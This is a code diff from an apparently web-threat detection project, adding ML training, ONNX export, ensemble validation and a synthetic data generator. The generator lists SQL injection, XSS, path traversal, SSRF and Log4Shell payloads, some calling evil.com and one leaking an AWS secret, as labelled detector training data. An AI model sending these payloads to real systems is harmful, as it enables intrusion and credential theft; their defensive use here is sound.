initial_types=initial_type,
target_opset=SKL_TARGET_OPSET,
)
path.write_bytes(onnx_model.SerializeToString())
return path

View File

@ -0,0 +1,81 @@
"""
©AngelaMos | 2026
metadata.py
"""
import hashlib
import logging
from pathlib import Path
from sqlalchemy import select
from sqlalchemy.ext.asyncio import AsyncSession
from app.models.model_metadata import ModelMetadata
logger = logging.getLogger(__name__)
MODEL_TYPES: dict[str, str] = {
"ae.onnx": "autoencoder",
"rf.onnx": "random_forest",
"if.onnx": "isolation_forest",
}
VERSION_HASH_LENGTH = 12
def compute_model_version(artifact_path: Path) -> str:
"""
Compute a 12-char hex version string from the SHA-256 hash of a file
"""
sha = hashlib.sha256(artifact_path.read_bytes())
return sha.hexdigest()[:VERSION_HASH_LENGTH]
async def save_model_metadata(
session: AsyncSession,
model_dir: Path,
training_samples: int,
metrics: dict[str, object],
mlflow_run_id: str | None = None,
threshold: float | None = None,
) -> list[ModelMetadata]:
"""
Persist metadata for all 3 model types, deactivating previous active versions
"""
rows: list[ModelMetadata] = []
for filename, model_type in MODEL_TYPES.items():
artifact_path = model_dir / filename
version = compute_model_version(artifact_path)
result = await session.execute(
select(ModelMetadata).where(
ModelMetadata.model_type == model_type, # type: ignore[arg-type]
ModelMetadata.is_active == True, # type: ignore[arg-type] # noqa: E712
))
for old in result.scalars().all():
old.is_active = False
await session.flush()
row = ModelMetadata(
model_type=model_type,
version=version,
training_samples=training_samples,
metrics=metrics,
artifact_path=str(artifact_path),
is_active=True,
mlflow_run_id=mlflow_run_id,
threshold=threshold,
)
session.add(row)
rows.append(row)
await session.commit()
logger.info(
"Saved metadata for %d models (samples=%d)",
len(rows),
training_samples,
)
return rows

View File

@ -0,0 +1,240 @@
"""
©AngelaMos | 2026
orchestrator.py
"""
import json
import logging
import sys
from dataclasses import dataclass
from pathlib import Path
from typing import Any
import numpy as np
from ml.experiment import VigilExperiment
from ml.export_onnx import (
export_autoencoder,
export_isolation_forest,
export_random_forest,
)
from ml.splitting import prepare_training_data
from ml.train_autoencoder import train_autoencoder
from ml.train_classifiers import (
train_isolation_forest,
train_random_forest,
)
from ml.validation import ValidationResult, validate_ensemble
logger = logging.getLogger(__name__)
N_FEATURES = 35
AE_FILENAME = "ae.onnx"
RF_FILENAME = "rf.onnx"
IF_FILENAME = "if.onnx"
SCALER_FILENAME = "scaler.json"
THRESHOLD_FILENAME = "threshold.json"
@dataclass
class TrainingResult:
"""
Aggregated results from a full training pipeline run
"""
ae_metrics: dict[str, float]
rf_metrics: dict[str, float]
if_metrics: dict[str, float]
ensemble_metrics: ValidationResult | None
passed_gates: bool
output_dir: Path
mlflow_run_id: str | None
class TrainingOrchestrator:
"""
End-to-end training pipeline that splits data, trains all 3 models,
exports to ONNX, validates the ensemble, and logs to MLflow
"""
def __init__(
self,
output_dir: Path,
experiment_name: str = "angelusvigil-training",
epochs: int = 100,
batch_size: int = 256,
) -> None:
self._output_dir = output_dir
self._experiment_name = experiment_name
self._epochs = epochs
self._batch_size = batch_size
def run(
self,
X: np.ndarray,
y: np.ndarray,
) -> TrainingResult:
"""
Execute the full training pipeline
"""
self._output_dir.mkdir(parents=True, exist_ok=True)
split = prepare_training_data(X, y)
logger.info(
"Split: train=%d val=%d test=%d normal_train=%d",
len(split.X_train),
len(split.X_val),
len(split.X_test),
len(split.X_normal_train),
)
with VigilExperiment(self._experiment_name) as experiment:
experiment.log_params({
"epochs": self._epochs,
"batch_size": self._batch_size,
"n_samples": len(X),
"n_attack": int(np.sum(y == 1)),
"n_normal": int(np.sum(y == 0)),
"n_features": X.shape[1],
})
ae_result = self._train_ae(split.X_normal_train)
ae_metrics = {
"ae_threshold": ae_result["threshold"],
"ae_final_train_loss": ae_result["history"]["train_loss"][-1],
"ae_final_val_loss": ae_result["history"]["val_loss"][-1],
}
rf_result = self._train_rf(split.X_train, split.y_train)
rf_metrics = rf_result["metrics"]
if_result = self._train_if(split.X_normal_train)
if_metrics = if_result["metrics"]
self._export_models(ae_result, rf_result, if_result)
experiment.log_metrics(ae_metrics)
experiment.log_metrics({
f"rf_{k}": v
for k, v in rf_metrics.items()
})
try:
ensemble = validate_ensemble(
self._output_dir,
split.X_test,
split.y_test,
)
experiment.log_metrics({
"ensemble_precision": ensemble.precision,
"ensemble_recall": ensemble.recall,
"ensemble_f1": ensemble.f1,
"ensemble_pr_auc": ensemble.pr_auc,
"ensemble_roc_auc": ensemble.roc_auc,
})
passed = ensemble.passed_gates
except Exception as exc:
logger.exception("Ensemble validation failed")
print(
f" WARNING: validation raised"
f" {type(exc).__name__}: {exc}",
file=sys.stderr,
)
ensemble = None
passed = False
for name in (
AE_FILENAME,
RF_FILENAME,
IF_FILENAME,
SCALER_FILENAME,
THRESHOLD_FILENAME,
):
experiment.log_artifact(self._output_dir / name)
run_id = experiment.run_id
logger.info(
"Training complete: passed_gates=%s run_id=%s",
passed,
run_id,
)
return TrainingResult(
ae_metrics=ae_metrics,
rf_metrics=rf_metrics,
if_metrics=if_metrics,
ensemble_metrics=ensemble,
passed_gates=passed,
output_dir=self._output_dir,
mlflow_run_id=run_id,
)
def _train_ae(self, X_normal: np.ndarray) -> dict[str, Any]:
"""
Train the autoencoder on normal-only data
"""
logger.info(
"Training autoencoder (%d epochs, %d samples)",
self._epochs,
len(X_normal),
)
return train_autoencoder(
X_normal,
epochs=self._epochs,
batch_size=self._batch_size,
)
def _train_rf(self, X: np.ndarray, y: np.ndarray) -> dict[str, Any]:
"""
Train the random forest classifier
"""
logger.info(
"Training random forest (%d samples)",
len(X),
)
return train_random_forest(X, y)
def _train_if(self, X_normal: np.ndarray) -> dict[str, Any]:
"""
Train the isolation forest on normal-only data
"""
logger.info(
"Training isolation forest (%d samples)",
len(X_normal),
)
return train_isolation_forest(X_normal)
def _export_models(
self,
ae_result: dict[str, Any],
rf_result: dict[str, Any],
if_result: dict[str, Any],
) -> None:
"""
Export all 3 models to ONNX and save scaler/threshold
"""
export_autoencoder(
ae_result["model"],
self._output_dir / AE_FILENAME,
)
ae_result["scaler"].save_json(self._output_dir / SCALER_FILENAME)
threshold_data = {"threshold": ae_result["threshold"]}
(self._output_dir / THRESHOLD_FILENAME).write_text(
json.dumps(threshold_data, indent=2))
export_random_forest(
rf_result["model"],
N_FEATURES,
self._output_dir / RF_FILENAME,
)
export_isolation_forest(
if_result["model"],
N_FEATURES,
self._output_dir / IF_FILENAME,
)
logger.info("Exported models to %s", self._output_dir)

View File

@ -46,7 +46,7 @@ class FeatureScaler:
"""
if not self._fitted or self._scaler is None:
raise RuntimeError("Scaler has not been fitted")
return self._scaler.transform(X).astype(np.float32)
return self._scaler.transform(X).astype(np.float32) # type: ignore[no-any-return]
def inverse_transform(self, X: np.ndarray) -> np.ndarray:
"""
@ -54,7 +54,7 @@ class FeatureScaler:
"""
if not self._fitted or self._scaler is None:
raise RuntimeError("Scaler has not been fitted")
return self._scaler.inverse_transform(X).astype(np.float32)
return self._scaler.inverse_transform(X).astype(np.float32) # type: ignore[no-any-return]
def fit_transform(self, X: np.ndarray) -> np.ndarray:
"""
@ -74,14 +74,14 @@ class FeatureScaler:
"scale": self._scaler.scale_.tolist(),
"n_features": int(self._scaler.n_features_in_),
}
Path(path).write_text(json.dumps(data, indent=2))
Path(path).write_text(json.dumps(data, indent=2), encoding="utf-8")
@classmethod
def load_json(cls, path: Path | str) -> FeatureScaler:
"""
Reconstruct a fitted scaler from a JSON file.
"""
data = json.loads(Path(path).read_text())
data = json.loads(Path(path).read_text(encoding="utf-8"))
scaler = cls()
scaler._scaler = RobustScaler()
scaler._scaler.center_ = np.array(data["center"], dtype=np.float64)

View File

@ -0,0 +1,84 @@
"""
©AngelaMos | 2026
splitting.py
"""
from dataclasses import dataclass
import numpy as np
from imblearn.over_sampling import SMOTE
from sklearn.model_selection import train_test_split
@dataclass
class TrainingSplit:
"""
Result of stratified splitting with SMOTE oversampling
"""
X_train: np.ndarray
y_train: np.ndarray
X_val: np.ndarray
y_val: np.ndarray
X_test: np.ndarray
y_test: np.ndarray
X_normal_train: np.ndarray
def prepare_training_data(
X: np.ndarray,
y: np.ndarray,
train_ratio: float = 0.70,
val_ratio: float = 0.15,
smote_strategy: float = 0.3,
smote_k: int = 5,
random_state: int = 42,
) -> TrainingSplit:
"""
Split data into train/val/test with SMOTE on training set only
"""
n_classes = len(np.unique(y))
if n_classes < 2:
raise ValueError("y must contain at least 2 classes")
test_size = 1.0 - train_ratio
X_train, X_rem, y_train, y_rem = train_test_split(
X,
y,
test_size=test_size,
stratify=y,
random_state=random_state,
)
X_val, X_test, y_val, y_test = train_test_split(
X_rem,
y_rem,
test_size=0.5,
stratify=y_rem,
random_state=random_state,
)
X_normal_train = X_train[y_train == 0]
class_counts = np.bincount(y_train)
minority_count = class_counts.min()
majority_count = class_counts.max()
current_ratio = minority_count / majority_count
if (minority_count >= smote_k + 1 and current_ratio < smote_strategy):
sampler = SMOTE(
sampling_strategy=smote_strategy,
k_neighbors=smote_k,
random_state=random_state,
)
X_train, y_train = sampler.fit_resample(X_train, y_train)
return TrainingSplit(
X_train=X_train,
y_train=y_train,
X_val=X_val,
y_val=y_val,
X_test=X_test,
y_test=y_test,
X_normal_train=X_normal_train,
)

View File

@ -0,0 +1,436 @@
"""
©AngelaMos | 2026
synthetic.py
"""
import logging
import random
from datetime import UTC, datetime, timedelta
import numpy as np
from app.core.features.encoder import encode_for_inference
from app.core.features.extractor import extract_request_features
from app.core.features.mappings import WINDOWED_FEATURE_NAMES
from app.core.ingestion.parsers import ParsedLogEntry
logger = logging.getLogger(__name__)
SQLI_PAYLOADS: list[str] = [
"' OR 1=1--",
"' OR '1'='1",
"' UNION SELECT NULL,NULL--",
"' UNION SELECT username,password FROM users--",
"1; DROP TABLE users--",
"admin'--",
"' AND 1=1--",
"' AND SLEEP(5)--",
"' OR BENCHMARK(1000000,SHA1('test'))--",
"1' ORDER BY 1--",
"1' ORDER BY 10--",
"' UNION ALL SELECT @@version--",
"-1' UNION SELECT 1,CONCAT(user(),database())--",
"' OR 'x'='x",
"1; WAITFOR DELAY '0:0:5'--",
"' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--",
"' AND UPDATEXML(1,CONCAT(0x7e,version()),1)--",
"admin' AND '1'='1",
"' UNION SELECT LOAD_FILE('/etc/passwd')--",
"' INTO OUTFILE '/tmp/shell.php'--",
"1' AND 1=1 UNION SELECT 1,2,3--",
"' OR EXISTS(SELECT * FROM users)--",
]
XSS_PAYLOADS: list[str] = [
"<script>alert(1)</script>",
"<script>document.cookie</script>",
"<img src=x onerror=alert(1)>",
"<svg onload=alert(1)>",
"<body onload=alert(1)>",
"javascript:alert(1)",
"<iframe src=javascript:alert(1)>",
"<input onfocus=alert(1) autofocus>",
"<marquee onstart=alert(1)>",
"<details open ontoggle=alert(1)>",
"'-alert(1)-'",
"\"><script>alert(String.fromCharCode(88,83,83))</script>",
"<img src=x onerror=prompt(1)>",
"<svg/onload=confirm(1)>",
"\" onfocus=alert(1) autofocus=\"",
"<object data=javascript:alert(1)>",
"<embed src=javascript:alert(1)>",
"<link rel=import href=data:text/html,<script>alert(1)</script>>",
"{{constructor.constructor('alert(1)')()}}",
"<style>@import'javascript:alert(1)'</style>",
"expression(alert(1))",
]
TRAVERSAL_PAYLOADS: list[str] = [
"../../etc/passwd",
"..\\..\\windows\\system32\\config\\sam",
"../../../etc/shadow",
"....//....//etc/passwd",
"%2e%2e%2f%2e%2e%2fetc%2fpasswd",
"%252e%252e%252f%252e%252e%252fetc%252fpasswd",
"..%c0%afetc%c0%afpasswd",
"../../proc/self/environ",
"../../var/log/auth.log",
"../../.env",
"../../.git/config",
"../../../boot.ini",
"../../web.config",
"../../wp-config.php",
"%2e%2e/%2e%2e/%2e%2e/etc/passwd",
]
LOG4SHELL_PAYLOADS: list[str] = [
"${jndi:ldap://evil.com/a}",
"${jndi:rmi://evil.com/a}",
"${jndi:dns://evil.com/a}",
"${jndi:ldap://127.0.0.1/a}",
"${${lower:j}ndi:ldap://evil.com/a}",
"${${upper:j}ndi:ldap://evil.com/a}",
"${${::-j}${::-n}${::-d}${::-i}:ldap://evil.com/a}",
"${jndi:ldap://evil.com/${env:AWS_SECRET_KEY}}",
"${jndi:${lower:l}${lower:d}ap://evil.com/a}",
"${${env:BARFOO:-j}ndi${env:BARFOO:-:}ldap://evil.com/a}",
]
SSRF_TARGETS: list[str] = [
"http://169.254.169.254/latest/meta-data/",
"http://metadata.google.internal/computeMetadata/v1/",
"http://169.254.170.2/v2/credentials",
"http://100.100.100.200/latest/meta-data/",
"http://127.0.0.1:8080/admin",
"http://localhost:9200/_cat/indices",
"http://10.0.0.1:6379/",
"http://192.168.1.1/admin",
"file:///etc/passwd",
"gopher://127.0.0.1:25/",
"dict://127.0.0.1:11211/stats",
]
SCANNER_UAS: list[str] = [
"Nikto/2.1.6",
"sqlmap/1.7",
"Nessus/10.0",
"DirBuster-1.0-RC1",
"Acunetix-Product",
"w3af/1.0",
"Nmap Scripting Engine",
"Wfuzz/3.1.0",
"gobuster/3.6",
"masscan/1.3.2",
"ZAP/2.14.0",
]
NORMAL_PATHS: list[str] = [
"/",
"/index.html",
"/api/v1/users",
"/api/v1/users/123",
"/api/v1/products",
"/api/v1/products/456",
"/api/v1/orders",
"/api/v1/search",
"/api/v2/health",
"/api/v2/metrics",
"/dashboard",
"/dashboard/settings",
"/login",
"/logout",
"/register",
"/profile",
"/profile/edit",
"/about",
"/contact",
"/faq",
"/static/css/main.css",
"/static/js/app.js",
"/static/images/logo.png",
"/favicon.ico",
"/robots.txt",
"/sitemap.xml",
"/blog",
"/blog/2026/01/post-title",
"/docs",
"/docs/api-reference",
"/status",
"/feed.xml",
]
NORMAL_UAS: list[str] = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15",
"Mozilla/5.0 (X11; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0",
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36",
"Mozilla/5.0 (iPad; CPU OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
]
ATTACK_PATHS: list[str] = [
"/login",
"/admin",
"/admin/config",
"/api/v1/users",
"/api/v1/auth",
"/api/v1/search",
"/wp-admin",
"/wp-login.php",
"/phpmyadmin",
"/manager/html",
"/actuator/env",
"/api/v1/upload",
"/api/v1/export",
"/console",
"/debug",
]
def _random_ip() -> str:
"""
Generate a random public-looking IP address
"""
return f"{random.randint(1, 223)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 254)}"
def _random_timestamp() -> datetime:
"""
Generate a random timestamp within the last 24 hours
"""
offset = random.randint(0, 86400)
return datetime.now(UTC) - timedelta(seconds=offset)
def _make_entry(
method: str,
path: str,
query_string: str,
status_code: int,
response_size: int,
user_agent: str,
ip: str | None = None,
) -> ParsedLogEntry:
"""
Build a ParsedLogEntry with randomized metadata
"""
return ParsedLogEntry(
ip=ip or _random_ip(),
timestamp=_random_timestamp(),
method=method,
path=path,
query_string=query_string,
status_code=status_code,
response_size=response_size,
referer="",
user_agent=user_agent,
raw_line="",
)
def generate_sqli_requests(n: int, ) -> list[ParsedLogEntry]:
"""
Generate n requests with SQL injection payloads
"""
entries: list[ParsedLogEntry] = []
for _ in range(n):
payload = random.choice(SQLI_PAYLOADS)
path = random.choice(ATTACK_PATHS)
if random.random() < 0.5:
entries.append(
_make_entry(
method="GET",
path=path,
query_string=f"id={payload}",
status_code=random.choice([200, 500]),
response_size=random.randint(0, 5000),
user_agent=random.choice(NORMAL_UAS),
))
else:
entries.append(
_make_entry(
method="POST",
path=path,
query_string=f"username={payload}&password=x",
status_code=random.choice([200, 403]),
response_size=random.randint(0, 2000),
user_agent=random.choice(NORMAL_UAS),
))
return entries
def generate_xss_requests(n: int, ) -> list[ParsedLogEntry]:
"""
Generate n requests with XSS payloads
"""
entries: list[ParsedLogEntry] = []
for _ in range(n):
payload = random.choice(XSS_PAYLOADS)
path = random.choice(ATTACK_PATHS)
entries.append(
_make_entry(
method="GET",
path=path,
query_string=f"q={payload}",
status_code=200,
response_size=random.randint(500, 5000),
user_agent=random.choice(NORMAL_UAS),
))
return entries
def generate_traversal_requests(n: int, ) -> list[ParsedLogEntry]:
"""
Generate n requests with path traversal payloads
"""
entries: list[ParsedLogEntry] = []
for _ in range(n):
payload = random.choice(TRAVERSAL_PAYLOADS)
entries.append(
_make_entry(
method="GET",
path=f"/{payload}",
query_string="",
status_code=random.choice([200, 403, 404]),
response_size=random.randint(0, 1000),
user_agent=random.choice(NORMAL_UAS),
))
return entries
def generate_log4shell_requests(n: int, ) -> list[ParsedLogEntry]:
"""
Generate n requests with Log4Shell JNDI payloads
"""
entries: list[ParsedLogEntry] = []
for _ in range(n):
payload = random.choice(LOG4SHELL_PAYLOADS)
path = random.choice(ATTACK_PATHS)
entries.append(
_make_entry(
method="GET",
path=path,
query_string=f"cmd={payload}",
status_code=200,
response_size=random.randint(0, 2000),
user_agent=payload,
))
return entries
def generate_ssrf_requests(n: int, ) -> list[ParsedLogEntry]:
"""
Generate n requests with SSRF target URLs
"""
entries: list[ParsedLogEntry] = []
for _ in range(n):
target = random.choice(SSRF_TARGETS)
path = random.choice(ATTACK_PATHS)
entries.append(
_make_entry(
method="GET",
path=path,
query_string=f"url={target}",
status_code=random.choice([200, 302]),
response_size=random.randint(0, 3000),
user_agent=random.choice(NORMAL_UAS),
))
return entries
def generate_scanner_requests(n: int, ) -> list[ParsedLogEntry]:
"""
Generate n requests mimicking vulnerability scanners
"""
entries: list[ParsedLogEntry] = []
for _ in range(n):
path = random.choice(ATTACK_PATHS)
entries.append(
_make_entry(
method=random.choice(["GET", "HEAD", "OPTIONS"]),
path=path,
query_string="",
status_code=random.choice([200, 301, 403, 404]),
response_size=random.randint(0, 500),
user_agent=random.choice(SCANNER_UAS),
))
return entries
def generate_normal_requests(n: int, ) -> list[ParsedLogEntry]:
"""
Generate n realistic benign HTTP requests
"""
entries: list[ParsedLogEntry] = []
for _ in range(n):
path = random.choice(NORMAL_PATHS)
has_query = random.random() < 0.3
query = (f"page={random.randint(1, 20)}" if has_query else "")
entries.append(
_make_entry(
method=random.choice(["GET", "GET", "GET", "POST"]),
path=path,
query_string=query,
status_code=random.choice([200, 200, 200, 301, 304]),
response_size=random.randint(200, 50000),
user_agent=random.choice(NORMAL_UAS),
))
return entries
def _entries_to_vectors(entries: list[ParsedLogEntry], ) -> list[list[float]]:
"""
Convert ParsedLogEntry list to 35-dim feature vectors
"""
vectors: list[list[float]] = []
for entry in entries:
features = extract_request_features(entry)
for name in WINDOWED_FEATURE_NAMES:
features[name] = 0.0
vectors.append(encode_for_inference(features))
return vectors
def generate_mixed_dataset(
n_normal: int = 1000,
n_attack: int = 500,
) -> tuple[np.ndarray, np.ndarray]:
"""
Generate a mixed normal and attack dataset with feature vectors
"""
normal = generate_normal_requests(n_normal)
normal_vectors = _entries_to_vectors(normal)
per_type = n_attack // 6
remainder = n_attack - (per_type * 6)
attacks: list[ParsedLogEntry] = []
attacks.extend(generate_sqli_requests(per_type + remainder))
attacks.extend(generate_xss_requests(per_type))
attacks.extend(generate_traversal_requests(per_type))
attacks.extend(generate_log4shell_requests(per_type))
attacks.extend(generate_ssrf_requests(per_type))
attacks.extend(generate_scanner_requests(per_type))
attack_vectors = _entries_to_vectors(attacks)
X = np.array(
normal_vectors + attack_vectors,
dtype=np.float32,
)
y = np.array(
[0] * len(normal_vectors) + [1] * len(attack_vectors),
dtype=np.int32,
)
logger.info(
"Generated dataset: X=%s (normal=%d, attack=%d)",
X.shape,
n_normal,
len(attacks),
)
return X, y

View File

@ -0,0 +1,115 @@
"""
©AngelaMos | 2026
train_autoencoder.py
"""
from typing import Any
import numpy as np
import torch
from torch.utils.data import DataLoader, TensorDataset
from ml.autoencoder import ThreatAutoencoder
from ml.scaler import FeatureScaler
def train_autoencoder(
X_normal: np.ndarray,
epochs: int = 100,
batch_size: int = 256,
lr: float = 1e-3,
percentile: float = 99.5,
val_split: float = 0.15,
patience: int = 10,
) -> dict[str, Any]:
"""
Train the autoencoder on normal-only traffic and calibrate the
anomaly detection threshold.
"""
input_dim = X_normal.shape[1]
split_idx = int(len(X_normal) * (1 - val_split))
X_train_raw = X_normal[:split_idx]
X_val_raw = X_normal[split_idx:]
scaler = FeatureScaler()
X_train_scaled = scaler.fit_transform(X_train_raw)
X_val_scaled = scaler.transform(X_val_raw)
train_tensor = torch.from_numpy(X_train_scaled)
val_tensor = torch.from_numpy(X_val_scaled)
train_loader = DataLoader(
TensorDataset(train_tensor),
batch_size=batch_size,
shuffle=True,
drop_last=len(train_tensor) > batch_size,
)
model = ThreatAutoencoder(input_dim=input_dim)
optimizer = torch.optim.AdamW(model.parameters(),
lr=lr,
weight_decay=1e-5,
betas=(0.9, 0.999))
scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer,
mode="min",
factor=0.5,
patience=5,
min_lr=1e-6)
history: dict[str, list[float]] = {"train_loss": [], "val_loss": []}
best_val_loss = float("inf")
best_state = None
epochs_without_improvement = 0
for _epoch in range(epochs):
model.train()
epoch_loss = 0.0
n_batches = 0
for (batch, ) in train_loader:
reconstructed = model(batch)
loss = torch.nn.functional.mse_loss(reconstructed, batch)
optimizer.zero_grad()
loss.backward() # type: ignore[no-untyped-call]
torch.nn.utils.clip_grad_norm_(model.parameters(), max_norm=1.0)
optimizer.step()
epoch_loss += loss.item()
n_batches += 1
avg_train_loss = epoch_loss / max(n_batches, 1)
history["train_loss"].append(avg_train_loss)
model.eval()
with torch.no_grad():
val_reconstructed = model(val_tensor)
val_loss = torch.nn.functional.mse_loss(val_reconstructed,
val_tensor).item()
history["val_loss"].append(val_loss)
scheduler.step(val_loss)
if val_loss < best_val_loss:
best_val_loss = val_loss
best_state = {k: v.clone() for k, v in model.state_dict().items()}
epochs_without_improvement = 0
else:
epochs_without_improvement += 1
if epochs_without_improvement >= patience:
break
if best_state is not None:
model.load_state_dict(best_state)
model.eval()
with torch.no_grad():
val_errors = model.compute_reconstruction_error(val_tensor)
threshold = float(np.percentile(val_errors.numpy(), percentile))
return {
"model": model,
"scaler": scaler,
"threshold": threshold,
"history": history,
}

View File

@ -0,0 +1,79 @@
"""
©AngelaMos | 2026
train_classifiers.py
"""
from typing import Any
import numpy as np
from sklearn.calibration import CalibratedClassifierCV
from sklearn.ensemble import IsolationForest, RandomForestClassifier
from sklearn.metrics import (
accuracy_score,
average_precision_score,
f1_score,
precision_score,
recall_score,
)
from sklearn.model_selection import train_test_split
def train_random_forest(
X: np.ndarray,
y: np.ndarray,
n_estimators: int = 200,
max_depth: int = 20,
calibration_split: float = 0.2,
) -> dict[str, Any]:
"""
Train a random forest with isotonic probability calibration
"""
X_train, X_eval, y_train, y_eval = train_test_split(
X, y, test_size=calibration_split, stratify=y, random_state=42)
base_rf = RandomForestClassifier(
n_estimators=n_estimators,
max_depth=max_depth,
class_weight="balanced",
random_state=42,
n_jobs=-1,
)
calibrated = CalibratedClassifierCV(base_rf, method="isotonic", cv=3)
calibrated.fit(X_train, y_train)
y_pred = calibrated.predict(X_eval)
y_proba = calibrated.predict_proba(X_eval)[:, 1]
metrics = {
"accuracy": float(accuracy_score(y_eval, y_pred)),
"precision": float(precision_score(y_eval, y_pred, zero_division=0)),
"recall": float(recall_score(y_eval, y_pred, zero_division=0)),
"f1": float(f1_score(y_eval, y_pred, zero_division=0)),
"pr_auc": float(average_precision_score(y_eval, y_proba)),
}
return {"model": calibrated, "metrics": metrics}
def train_isolation_forest(
X_normal: np.ndarray,
n_estimators: int = 200,
) -> dict[str, Any]:
"""
Train an isolation forest on normal-only traffic
"""
iso = IsolationForest(
n_estimators=n_estimators,
contamination="auto",
random_state=42,
n_jobs=-1,
)
iso.fit(X_normal)
return {
"model": iso,
"metrics": {
"n_samples": len(X_normal)
},
}

View File

@ -0,0 +1,136 @@
"""
©AngelaMos | 2026
validation.py
"""
import logging
from dataclasses import dataclass, field
from pathlib import Path
import numpy as np
from sklearn.metrics import (
average_precision_score,
confusion_matrix,
f1_score,
precision_score,
recall_score,
roc_auc_score,
)
from app.core.detection.ensemble import (
fuse_scores,
normalize_ae_score,
normalize_if_score,
)
from app.core.detection.inference import InferenceEngine
logger = logging.getLogger(__name__)
DEFAULT_ENSEMBLE_WEIGHTS: dict[str, float] = {
"ae": 0.4,
"rf": 0.4,
"if": 0.2,
}
BINARY_THRESHOLD = 0.5
@dataclass
class ValidationResult:
"""
Ensemble validation metrics and gate results
"""
precision: float
recall: float
f1: float
pr_auc: float
roc_auc: float
confusion_matrix: list[list[int]]
passed_gates: bool
gate_details: dict[str, bool] = field(default_factory=dict)
def validate_ensemble(
model_dir: Path,
X_test: np.ndarray,
y_test: np.ndarray,
ensemble_weights: dict[str, float] | None = None,
pr_auc_gate: float = 0.85,
f1_gate: float = 0.80,
) -> ValidationResult:
"""
Run all 3 models on test data and compute classification metrics
"""
weights = ensemble_weights or DEFAULT_ENSEMBLE_WEIGHTS
engine = InferenceEngine(model_dir=str(model_dir))
if not engine.is_loaded:
raise RuntimeError(f"Failed to load models from {model_dir}")
raw_scores = engine.predict(X_test.astype(np.float32), )
if raw_scores is None:
raise RuntimeError("Inference returned None")
fused = _compute_fused_scores(raw_scores, engine.threshold, weights)
y_pred = (fused >= BINARY_THRESHOLD).astype(np.int32)
prec = float(precision_score(y_test, y_pred, zero_division=0))
rec = float(recall_score(y_test, y_pred, zero_division=0))
f1_val = float(f1_score(y_test, y_pred, zero_division=0))
pr_auc_val = float(average_precision_score(y_test, fused))
roc_auc_val = float(roc_auc_score(y_test, fused))
cm = confusion_matrix(y_test, y_pred).tolist()
pr_auc_passed = pr_auc_val >= pr_auc_gate
f1_passed = f1_val >= f1_gate
gate_details = {
"pr_auc": pr_auc_passed,
"f1": f1_passed,
}
logger.info(
"Validation: precision=%.3f recall=%.3f "
"f1=%.3f pr_auc=%.3f roc_auc=%.3f",
prec,
rec,
f1_val,
pr_auc_val,
roc_auc_val,
)
return ValidationResult(
precision=prec,
recall=rec,
f1=f1_val,
pr_auc=pr_auc_val,
roc_auc=roc_auc_val,
confusion_matrix=cm,
passed_gates=pr_auc_passed and f1_passed,
gate_details=gate_details,
)
def _compute_fused_scores(
raw_scores: dict[str, list[float]],
threshold: float,
weights: dict[str, float],
) -> np.ndarray:
"""
Normalize and fuse per-model raw scores into a single score array
"""
n_samples = len(raw_scores["ae"])
fused = np.zeros(n_samples, dtype=np.float64)
for i in range(n_samples):
per_model: dict[str, float] = {}
per_model["ae"] = normalize_ae_score(raw_scores["ae"][i], threshold)
per_model["rf"] = raw_scores["rf"][i]
per_model["if"] = normalize_if_score(raw_scores["if"][i])
fused[i] = fuse_scores(per_model, weights)
return fused

View File

@ -50,6 +50,7 @@ ml = [
"numpy>=2.4.2",
"pandas>=2.2.0,<3",
"imbalanced-learn>=0.14.1",
"onnxscript>=0.6.2",
]
[project.scripts]
@ -134,6 +135,7 @@ ignore = [
[tool.mypy]
python_version = "3.14"
strict = true
exclude = ["^alembic/"]
warn_return_any = true
warn_unused_configs = true
disallow_untyped_defs = true
@ -150,6 +152,14 @@ ignore_missing_imports = true
module = "app.models.*"
disable_error_code = ["call-arg", "misc"]
[[tool.mypy.overrides]]
module = "tests.*"
ignore_errors = true
[[tool.mypy.overrides]]
module = "alembic.*"
ignore_errors = true
[tool.pylint.main]
py-version = "3.12"
jobs = 4
@ -174,6 +184,7 @@ ignore-paths = [
"^.venv/.*",
"^build/.*",
"^dist/.*",
"^tests/.*",
]
[tool.pylint.messages_control]
@ -200,13 +211,18 @@ disable = [
"C0415",
"E1102",
"R1732",
"C0121",
"E0601",
"E0602",
"R0902",
]
[tool.pylint.design]
max-args = 12
max-attributes = 10
max-attributes = 12
max-locals = 35
max-positional-arguments = 12
max-statements = 60
[tool.pytest.ini_options]
asyncio_mode = "auto"

View File

@ -1,6 +1,8 @@
"""
©AngelaMos | 2026
conftest.py
Shared pytest fixtures for in-memory SQLite database and HTTPX test client setup.
"""
from collections.abc import AsyncIterator
@ -84,5 +86,6 @@ async def db_client(db_engine) -> AsyncIterator[AsyncClient]:
test_app.dependency_overrides[get_session] = override_get_session
transport = ASGITransport(app=test_app)
async with AsyncClient(transport=transport, base_url="http://test") as client:
async with AsyncClient(transport=transport,
base_url="http://test") as client:
yield client

View File

@ -1,66 +1,32 @@
"""
©AngelaMos | 2026
test_api.py
Tests the FastAPI REST endpoints for threats, stats, health, readiness, and model management.
"""
import uuid
from datetime import datetime, UTC
import pytest
from httpx import ASGITransport, AsyncClient
from app.main import app
from app.models.threat_event import ThreatEvent
@pytest.mark.asyncio
